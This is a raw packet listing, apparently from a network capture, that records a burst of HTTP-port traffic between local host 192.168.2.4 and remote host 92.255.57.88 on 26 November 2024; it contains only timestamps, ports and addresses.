Nov 26, 2024 00:07:28.811243057 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.812024117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.812072039 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.812119961 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.812161922 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.813009977 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.816452026 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.839288950 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.839298010 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.839442015 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.839540958 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.839589119 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.839613914 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.839663029 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.840536118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.840581894 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.840667963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.841516018 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.841559887 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.841613054 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.841661930 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.842482090 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.842524052 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.842590094 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.842638016 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.843449116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.843559980 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.843602896 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.844434023 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.844484091 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.844504118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.845421076 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.845484018 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.845520973 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.845562935 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.846389055 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.846434116 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.846472025 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.846518040 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.847368956 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.847415924 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.847490072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.847534895 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.848339081 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.848392010 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.913885117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.913922071 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.914014101 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.914189100 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.914242029 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.914391994 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.914443970 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.914479971 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.914525986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.915380955 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.915440083 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.915505886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.915556908 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.916367054 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.916416883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.916419983 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.916462898 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.917383909 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.917650938 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.917707920 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.918364048 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.918415070 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.918482065 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.918524981 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.919294119 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.919342041 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.919411898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.919454098 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.920269012 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.920311928 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.920378923 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.920424938 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.921233892 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.921281099 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.921314955 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.921355009 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.922235012 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.922288895 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.922324896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.922377110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.923207045 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.923254013 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.923265934 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.923324108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.924190998 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.924256086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.924266100 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.924307108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.925156116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.925261974 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.925319910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.926129103 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.926177025 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.926232100 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.926278114 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.927129984 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.927179098 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.927249908 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.927297115 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.928126097 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.928178072 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.928210020 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.928260088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.929124117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.932509899 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.990916967 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.990927935 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.991102934 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.991308928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.991364002 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.991533995 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.991585016 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.992443085 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.992454052 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.992507935 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.993252039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.993304014 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.993653059 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.993721008 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.994273901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.994323969 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.994434118 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.994487047 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.995253086 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.995301962 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.995410919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.995459080 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.996270895 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.996321917 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.996419907 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.996468067 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.997216940 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.997230053 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.997276068 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.998363972 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.998374939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.998414993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:28.999212027 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.999222040 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:28.999284983 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.000185013 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.000231028 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.000365019 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.000413895 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.001245975 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.001256943 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.001310110 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.002265930 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.002283096 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.002312899 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.002342939 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.003164053 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.003367901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.003415108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.004076004 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.004122972 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.004266024 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.004314899 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.005099058 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.005280972 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.005331039 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.006097078 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.006125927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.006139040 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.006169081 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.007128000 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.007174969 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.007319927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.007368088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.007884979 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.007932901 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.008184910 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.008234024 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.009043932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.009179115 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.009226084 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.010082960 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.010103941 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.010128975 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.010154009 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.011082888 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.011095047 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.011137962 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.012007952 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.012056112 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.012177944 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.012224913 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.012907982 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.013087988 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.013139009 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.013983965 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.014033079 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.014157057 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.014204979 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.014879942 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.014923096 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.015048981 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.015099049 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.015296936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.015306950 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.015353918 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.042661905 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.042681932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.042840004 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.043035984 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.043090105 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.043201923 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.043247938 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.044200897 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.044250011 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.044357061 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.044401884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.044941902 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.045110941 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.045160055 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.046063900 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.046084881 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.046128988 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.046154976 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.047071934 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.047082901 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.047224045 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.048043966 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.048212051 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.048279047 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.049035072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.049210072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.049257994 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.050009012 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.050054073 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.050170898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.050214052 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.051034927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.051083088 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.051188946 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.051234961 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.116909027 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.116967916 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.117074013 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.117114067 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.117413044 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.117450953 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.117757082 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.117775917 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.117801905 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.117818117 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.118465900 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.118649960 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.118700027 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.119535923 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.119585991 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.119695902 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.119740963 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.120553970 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.120739937 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.120784044 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.121583939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.121596098 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.121644974 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.122647047 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.122658014 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.122692108 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.123409033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.123456001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.123584986 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.123624086 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.124489069 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.124530077 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.124684095 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.125535011 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.125545979 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.125591040 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.125624895 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.126355886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.126548052 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.126590967 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.127526999 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.127572060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.127698898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.127738953 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.128437042 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.128447056 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.128496885 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.128515005 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.129272938 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.129333973 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.129436970 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.129482031 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.130326033 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.130424976 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.130492926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.130539894 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.131325006 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.131373882 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.131496906 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.131545067 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.132368088 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.132420063 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.192251921 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.192264080 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.192313910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.192701101 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.192754984 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.192852020 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.192944050 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.193808079 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.193819046 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.193862915 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.194730997 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.194911003 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.194968939 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.195786953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.195806026 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.195832014 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.195848942 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.196629047 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.196785927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.196832895 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.197632074 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.197673082 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.197770119 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.197815895 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.198765993 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.198784113 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.198811054 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.198827028 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.199620008 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.199662924 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.199758053 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.199811935 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.200592041 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.200758934 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.200804949 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.201586962 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.201633930 CET	49734	80	192.168.2.4	92.255.57.88
